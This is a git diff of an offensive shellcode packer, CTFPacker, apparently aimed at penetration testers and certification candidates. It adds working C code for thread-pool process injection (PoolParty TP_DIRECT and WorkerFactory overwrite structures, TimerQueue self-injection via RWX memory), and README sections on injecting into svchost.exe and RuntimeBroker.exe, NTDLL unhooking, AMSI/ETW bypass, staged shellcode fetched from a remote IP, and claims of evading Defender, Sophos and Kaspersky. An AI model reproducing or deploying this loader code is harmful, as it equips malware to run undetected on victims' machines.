typedef enum _PP_SET_WF_CLASS {
|
||||
PPWorkerFactoryThreadMinimum = 4
|
||||
} PP_SET_WF_CLASS;
|
||||
|
||||
typedef struct _PP_WF_BASIC_INFO {
|
||||
LARGE_INTEGER Timeout;
|
||||
LARGE_INTEGER RetryTimeout;
|
||||
LARGE_INTEGER IdleTimeout;
|
||||
BOOLEAN Paused;
|
||||
BOOLEAN TimerSet;
|
||||
BOOLEAN QueuedToExWorker;
|
||||
BOOLEAN MayCreate;
|
||||
BOOLEAN CreateInProgress;
|
||||
BOOLEAN InsertedIntoQueue;
|
||||
BOOLEAN Shutdown;
|
||||
ULONG BindingCount;
|
||||
ULONG ThreadMinimum;
|
||||
ULONG ThreadMaximum;
|
||||
ULONG PendingWorkerCount;
|
||||
ULONG WaitingWorkerCount;
|
||||
ULONG TotalWorkerCount;
|
||||
ULONG ReleaseCount;
|
||||
LONGLONG InfiniteWaitGoal;
|
||||
PVOID StartRoutine;
|
||||
PVOID StartParameter;
|
||||
HANDLE ProcessId;
|
||||
SIZE_T StackReserve;
|
||||
SIZE_T StackCommit;
|
||||
NTSTATUS LastThreadCreationStatus;
|
||||
} PP_WF_BASIC_INFO, *PPP_WF_BASIC_INFO;
|
||||
|
||||
/* ── Undocumented TP_DIRECT kernel structure ──────────────────────────── */
|
||||
typedef struct _PP_TP_TASK_CALLBACKS {
|
||||
PVOID ExecuteCallback;
|
||||
PVOID Unposted;
|
||||
} PP_TP_TASK_CALLBACKS, *PPP_TP_TASK_CALLBACKS;
|
||||
|
||||
typedef struct _PP_TP_TASK {
|
||||
PPP_TP_TASK_CALLBACKS Callbacks;
|
||||
UINT32 NumaNode;
|
||||
UINT8 IdealProcessor;
|
||||
BYTE Padding[3];
|
||||
LIST_ENTRY ListEntry;
|
||||
} PP_TP_TASK, *PPP_TP_TASK;
|
||||
|
||||
typedef struct _PP_TP_DIRECT {
|
||||
PP_TP_TASK Task;
|
||||
UINT64 Lock;
|
||||
LIST_ENTRY IoCompletionInformationList;
|
||||
PVOID Callback; /* <── shellcode address goes here */
|
||||
UINT32 NumaNode;
|
||||
UINT8 IdealProcessor;
|
||||
BYTE __PADDING__[3];
|
||||
} PP_TP_DIRECT, *PPP_TP_DIRECT;
|
||||
|
||||
/* ── NT function pointer typedefs ────────────────────────────────────── */
|
||||
typedef NTSTATUS (NTAPI *fnNtQueryInformationProcess)(
|
||||
HANDLE ProcessHandle,
|
||||
ULONG ProcessInformationClass,
|
||||
PVOID ProcessInformation,
|
||||
ULONG ProcessInformationLength,
|
||||
PULONG ReturnLength);
|
||||
|
||||
typedef NTSTATUS (NTAPI *fnNtQueryObject)(
|
||||
HANDLE Handle,
|
||||
ULONG ObjectInformationClass,
|
||||
PVOID ObjectInformation,
|
||||
ULONG ObjectInformationLength,
|
||||
PULONG ReturnLength);
|
||||
|
||||
typedef NTSTATUS (NTAPI *fnNtQueryInformationWorkerFactory)(
|
||||
HANDLE WorkerFactoryHandle,
|
||||
ULONG WorkerFactoryInformationClass,
|
||||
PVOID WorkerFactoryInformation,
|
||||
ULONG WorkerFactoryInformationLength,
|
||||
PULONG ReturnLength);
|
||||
|
||||
typedef NTSTATUS (NTAPI *fnNtSetInformationWorkerFactory)(
|
||||
HANDLE WorkerFactoryHandle,
|
||||
ULONG WorkerFactoryInformationClass,
|
||||
PVOID WorkerFactoryInformation,
|
||||
ULONG WorkerFactoryInformationLength);
|
||||
|
||||
typedef NTSTATUS (NTAPI *fnZwSetIoCompletion)(
|
||||
HANDLE IoCompletionHandle,
|
||||
PVOID KeyContext,
|
||||
PVOID ApcContext,
|
||||
NTSTATUS IoStatus,
|
||||
ULONG_PTR IoStatusInformation);
|
||||
|
||||
/* ── Public injection functions ──────────────────────────────────────── */
|
||||
BOOL PoolPartyTpDirect (IN PBYTE pShellcode, IN SIZE_T sSizeOfShellcode, IN LPCSTR szTarget);
|
||||
BOOL PoolPartyWfOverwrite(IN PBYTE pShellcode, IN SIZE_T sSizeOfShellcode, IN LPCSTR szTarget);
|
||||
@@ -0,0 +1,57 @@
|
||||
/*
|
||||
* TimerQueue Callback Self-Injection
|
||||
*
|
||||
* Uses CreateTimerQueueTimer to dispatch shellcode as a callback
|
||||
* on the Windows thread pool — entirely within the current process,
|
||||
* no remote handle or process manipulation required.
|
||||
*
|
||||
* Execution flow:
|
||||
* 1. Allocate RWX region and copy shellcode.
|
||||
* 2. Create a dedicated timer queue.
|
||||
* 3. Register a one-shot timer whose callback IS the shellcode.
|
||||
* WT_EXECUTELONGFUNCTION prevents the pool from timing out.
|
||||
* 4. Sleep(INFINITE) — shellcode runs on a thread pool thread.
|
||||
*/
|
||||
|
||||
#include <windows.h>
|
||||
#include <string.h>
|
||||
|
||||
#include "functions.h"
|
||||
|
||||
BOOL TimerQueueInject(IN PBYTE pShellcode, IN SIZE_T sSizeOfShellcode) {
|
||||
|
||||
/* 1. Allocate RWX memory in the current process */
|
||||
PVOID pExec = VirtualAlloc(NULL, sSizeOfShellcode,
|
||||
MEM_COMMIT | MEM_RESERVE,
|
||||
PAGE_EXECUTE_READWRITE);
|
||||
if (!pExec)
|
||||
return FALSE;
|
||||
|
||||
memcpy(pExec, pShellcode, sSizeOfShellcode);
|
||||
|
||||
/* 2. Create a dedicated timer queue */
|
||||
HANDLE hQueue = CreateTimerQueue();
|
||||
if (!hQueue) {
|
||||
VirtualFree(pExec, 0, MEM_RELEASE);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
/*
|
||||
* 3. Register a one-shot timer at 100 ms due time.
|
||||
* The shellcode address is cast directly to WAITORTIMERCALLBACK.
|
||||
* WT_EXECUTELONGFUNCTION: the thread pool won't try to interrupt it.
|
||||
*/
|
||||
HANDLE hTimer = NULL;
|
||||
if (!CreateTimerQueueTimer(&hTimer, hQueue,
|
||||
(WAITORTIMERCALLBACK)pExec,
|
||||
NULL, 100, 0,
|
||||
WT_EXECUTEONLYONCE | WT_EXECUTELONGFUNCTION)) {
|
||||
DeleteTimerQueue(hQueue);
|
||||
VirtualFree(pExec, 0, MEM_RELEASE);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
/* 4. Keep the main thread alive — shellcode owns its own threads from here */
|
||||
Sleep(INFINITE);
|
||||
return TRUE;
|
||||
}
|
||||
@@ -1,6 +1,8 @@
|
||||
# CTFPacker
|
||||
|
||||

|
||||
<p align="center">
|
||||
<img src="assets/Full-Logo-red-black.svg" width="500" alt="CTFPacker">
|
||||
</p>
|
||||
|
||||
> [!TIP]
|
||||
> Did CTFPacker help you with a penetration test engagement or in passing a certification exam? If so, please consider giving it a star ⭐! Your support would greatly help the project and motivate me to add more features or even rework it entirely into a much more capable packer!
|
||||
@@ -17,7 +19,6 @@
|
||||
+ [Format option](#format-option)
|
||||
+ [Staged](#staged)
|
||||
+ [Stageless](#stageless)
|
||||
* [Demo](#demo)
|
||||
* [To-Do](#to-do)
|
||||
* [Detections](#detections)
|
||||
* [Credits - References](#credits---references)
|
||||
@@ -45,23 +46,28 @@ Check out my blog post for more infos: [Evade Modern AVs in 2025](https://mochab
|
||||
- NTDLL unhooking via Known DLLs technique
|
||||
- Custom GetProcAddr & GetModuleHandle functions
|
||||
- Custom AES-128-CBC mode encryption & decryption
|
||||
- EarlyBird APC Injection or CopyFile2 progress callback execution
|
||||
- Multiple injection techniques (see table below)
|
||||
- Possibility to choose between staged or stageless loader
|
||||
- "Polymorphic" behavior with the `-s` argument
|
||||
- Entropy reduction via embedded English text padding (`-er`)
|
||||
- Optional HTTPS transport for staged payloads
|
||||
|
||||
### Injection Methods
|
||||
|
||||
| Flag | Name | Type | Target | How it works |
|
||||
|------|------|------|--------|--------------|
|
||||
| `apc` | EarlyBird APC | Remote — spawned process | `RuntimeBroker.exe` / `svchost.exe` | Spawns the target in a suspended state, queues an APC to the main thread pointing at injected shellcode, then resumes it |
|
||||
| `copyfile2` | CopyFile2 Callback | **Self-injection** (local) | Own process | Uses the `CopyFile2` progress-callback mechanism to execute shellcode inside the current process — no remote handle required |
|
||||
| `tp_direct` | PoolParty TP_DIRECT | Remote — existing process | `RuntimeBroker.exe` / `svchost.exe` | Hijacks the target's `IoCompletion` handle, writes shellcode into the target's memory, crafts a `TP_DIRECT` struct and queues it via `ZwSetIoCompletion` — the target's thread pool dispatches the callback |
|
||||
| `wf_overwrite` | PoolParty WF Overwrite | Remote — existing process | `RuntimeBroker.exe` / `svchost.exe` | Hijacks the target's `TpWorkerFactory` handle, overwrites `StartRoutine` in the target's memory with the shellcode via `WriteProcessMemory`, then bumps the minimum thread count to force a new worker thread |
|
||||
| `timerqueue` | Timer Queue Callback | **Self-injection** (local) | Own process | Allocates RWX memory, copies shellcode, and registers it as a one-shot `CreateTimerQueueTimer` callback — the thread pool fires it after 100 ms; main thread sleeps indefinitely |
|
||||
|
||||
> [!NOTE]
|
||||
> `apc` spawns a **new** instance of the target process; `tp_direct` and `wf_overwrite` require the target process to **already be running**; `copyfile2` and `timerqueue` are self-injection and don't touch any other process.
|
||||
|
||||
## Installation
|
||||
|
||||
Make sure you have the following dependencies installed first:
|
||||
|
||||
```bash
|
||||
# Assuming Debian based system (those are usually already on Kali)
|
||||
sudo apt update
|
||||
sudo apt install clang pipx mingw-w64 make lld nasm osslsigncode
|
||||
```
|
||||
|
||||
Then just run the install script:
|
||||
Just run the install script:
|
||||
|
||||
```bash
|
||||
cd CTFPacker
|
||||
@@ -95,7 +101,7 @@ Staged:
|
||||
|
||||
```
|
||||
usage: main.py staged [-h] -p PAYLOAD [-f {EXE,DLL}] [-apc {RuntimeBroker.exe,svchost.exe}]
|
||||
[-inj {apc,copyfile2}] -i IP_ADDRESS -po PORT -pa PATH [-o OUTPUT]
|
||||
[-inj {apc,copyfile2,tp_direct,wf_overwrite,timerqueue}] -i IP_ADDRESS -po PORT -pa PATH [-o OUTPUT]
|
||||
[--https] [--user-agent USER_AGENT] [-e] [-s] [-er]
|
||||
[-pfx PFX] [-pfx-pass PFX_PASSWORD]
|
||||
|
||||
@@ -107,9 +113,12 @@ options:
|
||||
Format of the output file (default: EXE).
|
||||
-apc {RuntimeBroker.exe,svchost.exe}
|
||||
Target injection process (default: RuntimeBroker.exe).
|
||||
-inj {apc,copyfile2}, --inject-method {apc,copyfile2}
|
||||
Injection method: 'apc' for EarlyBird APC or 'copyfile2' for
|
||||
CopyFile2 progress callback execution (default: apc).
|
||||
-inj {apc,copyfile2,tp_direct,wf_overwrite,timerqueue}, --inject-method {apc,copyfile2,tp_direct,wf_overwrite,timerqueue}
|
||||
Injection method: 'apc' (EarlyBird APC), 'copyfile2' (CopyFile2
|
||||
callback), 'tp_direct' (PoolParty TP_DIRECT via IoCompletion),
|
||||
'wf_overwrite' (PoolParty WorkerFactory overwrite), or
|
||||
'timerqueue' (TimerQueue callback self-injection).
|
||||
Default: apc. tp_direct/wf_overwrite require an existing target process.
|
||||
-i IP_ADDRESS, --ip-address IP_ADDRESS
|
||||
IP address from where your shellcode is gonna be fetched.
|
||||
-po PORT, --port PORT Port from where the HTTP connection is gonna fetch your shellcode.
|
||||
@@ -131,7 +140,7 @@ Stageless:
|
||||
|
||||
```
|
||||
usage: main.py stageless [-h] -p PAYLOAD [-f {EXE,DLL}] [-apc {RuntimeBroker.exe,svchost.exe}]
|
||||
[-inj {apc,copyfile2}] [-e] [-s] [-er]
|
||||
[-inj {apc,copyfile2,tp_direct,wf_overwrite,timerqueue}] [-e] [-s] [-er]
|
||||
[-pfx PFX] [-pfx-pass PFX_PASSWORD]
|
||||
|
||||
options:
|
||||
@@ -142,9 +151,12 @@ options:
|
||||
Format of the output file (default: EXE).
|
||||
-apc {RuntimeBroker.exe,svchost.exe}
|
||||
Target injection process (default: RuntimeBroker.exe).
|
||||
-inj {apc,copyfile2}, --inject-method {apc,copyfile2}
|
||||
Injection method: 'apc' for EarlyBird APC or 'copyfile2' for
|
||||
CopyFile2 progress callback execution (default: apc).
|
||||
-inj {apc,copyfile2,tp_direct,wf_overwrite,timerqueue}, --inject-method {apc,copyfile2,tp_direct,wf_overwrite,timerqueue}
|
||||
Injection method: 'apc' (EarlyBird APC), 'copyfile2' (CopyFile2
|
||||
callback), 'tp_direct' (PoolParty TP_DIRECT via IoCompletion),
|
||||
'wf_overwrite' (PoolParty WorkerFactory overwrite), or
|
||||
'timerqueue' (TimerQueue callback self-injection).
|
||||
Default: apc. tp_direct/wf_overwrite require an existing target process.
|
||||
-e, --encrypt Encrypt the shellcode via AES-128-CBC.
|
||||
-s, --scramble Scramble the loader's functions and variables.
|
||||
-er, --entropy-reduction Reduce binary entropy by embedding English text padding.
|
||||
@@ -157,12 +169,16 @@ Example usage: python main.py stageless -p shellcode.bin -e -s -inj copyfile2 -p
|
||||
|
||||
### GUI
|
||||
|
||||
If you installed via pipx or `install.sh`, you can launch the GUI directly:
|
||||
If you installed via pipx or `install.sh`, you can launch the GUI directly or through your desktop app launcher:
|
||||
|
||||
```bash
|
||||
ctfpacker-gui
|
||||
```
|
||||
|
||||
<p align="center">
|
||||
<img src="assets/GUI.png" width="300" alt="CTFPacker">
|
||||
</p>
|
||||
|
||||
The GUI exposes all the same options as the CLI but with real-time build output, a log panel, and a profile system. You can save/load build configurations as named profiles, and export/import them as `.ctfp` files to share across machines.
|
||||
|
||||
### Format option
|
||||
@@ -290,25 +306,19 @@ C:\Code\CTFPacker>ls
|
||||
core ctfloader.exe custom_certs main.py requirements.txt shellcode.bin templates
|
||||
```
|
||||
|
||||
## Demo
|
||||
|
||||
https://github.com/user-attachments/assets/4aa56672-bcfb-424b-aa89-a919b514ae35
|
||||
|
||||
## To-Do
|
||||
|
||||
- [x] Maybe adding a setup.py file to install via pip / pipx
|
||||
- [x] Other templates with different injection techniques (added CopyFile2 progress callback)
|
||||
- [x] PyQt6 GUI with build profiles & real-time output
|
||||
- [x] Adding AMSI / ETW bypass (depends on what injection technique I am going to put here)
|
||||
- [ ] More injection techniques
|
||||
- [x] More injection techniques (added PoolParty Variant 1 WorkerFactory overwrite + Variant 7 TP_DIRECT)
|
||||
|
||||
## Detections
|
||||
|
||||
- Undetected on the latest Windows 11 Defender (2025-03-18, Version 1.425.89.0)
|
||||
- Undetected on Windows 10 Defender (2025-03-18, Version 1.425.90.0)
|
||||
- Undetected on the latest Sophos Home Premium (Version 2023.2.2.2)
|
||||

|
||||
- Undetected on the latest Kasperky Premium (20.06.2025)
|
||||
- Undetected on the latest Windows 11 Defender (2026-03-08, Version 1.445.420.0)
|
||||
- Undetected on the latest Sophos Home Premium (Version 2024.3.3.1.0)
|
||||
- Undetected on the latest Kasperky Premium (08.03.2026)
|
||||
|
||||
## Credits - References
|
||||
|
||||
@@ -319,5 +329,6 @@ Most of the code is not from me. Here are the original authors:
|
||||
@ trickster0 - https://github.com/trickster0/TartarusGate (indirect syscalls)
|
||||
@ SaadAhla - https://github.com/SaadAhla/ntdlll-unhooking-collection
|
||||
@ VX-Underground - https://github.com/vxunderground/VX-API/blob/main/VX-API/GetProcAddressDjb2.cpp
|
||||
@ SafeBreach-Labs - https://github.com/SafeBreach-Labs/PoolParty (PoolParty thread pool injection)
|
||||
```
|
||||
|
||||
|
||||
Binary file not shown.
|
After Width: | Height: | Size: 41 KiB |
+2
-1
@@ -36,7 +36,7 @@ fi
|
||||
# ── Resolve the real (non-root) user that invoked sudo ───────────────────────
|
||||
# pipx must be run as the actual user, not root, so binaries land in
|
||||
# ~/.local/bin of the invoking user rather than /root/.local/bin.
|
||||
REAL_USER="${SUDO_USER:-$USER}"
|
||||
REAL_USER="${SUDO_USER:-${USER:-$(logname 2>/dev/null || whoami)}}"
|
||||
REAL_HOME="$(getent passwd "$REAL_USER" | cut -d: -f6)"
|
||||
PIPX_BIN="$REAL_HOME/.local/bin"
|
||||
|
||||
@@ -85,6 +85,7 @@ APT_PKGS=(
|
||||
python3 # Python 3 interpreter
|
||||
pipx # Isolated Python app installer
|
||||
osslsigncode # PE code signing (optional, needed for -pfx)
|
||||
libxcb-cursor0 # XCB cursor support required by Qt6 on some systems
|
||||
)
|
||||
|
||||
log_info "Updating package lists..."
|
||||
|
||||
+2
-1
@@ -33,7 +33,7 @@ if ! command -v apt-get &>/dev/null; then
|
||||
fi
|
||||
|
||||
# ── Resolve the real (non-root) user ─────────────────────────────────────────
|
||||
REAL_USER="${SUDO_USER:-$USER}"
|
||||
REAL_USER="${SUDO_USER:-${USER:-$(logname 2>/dev/null || whoami)}}"
|
||||
REAL_HOME="$(getent passwd "$REAL_USER" | cut -d: -f6)"
|
||||
PIPX_BIN="$REAL_HOME/.local/bin"
|
||||
|
||||
@@ -164,6 +164,7 @@ APT_PKGS=(
|
||||
mingw-w64
|
||||
osslsigncode
|
||||
pipx
|
||||
libxcb-cursor0
|
||||
)
|
||||
|
||||
echo -e "${YELLOW}${BOLD}The following APT packages were installed by CTFPacker:${NC}"
|
||||
|
||||
Reference in New Issue
Block a user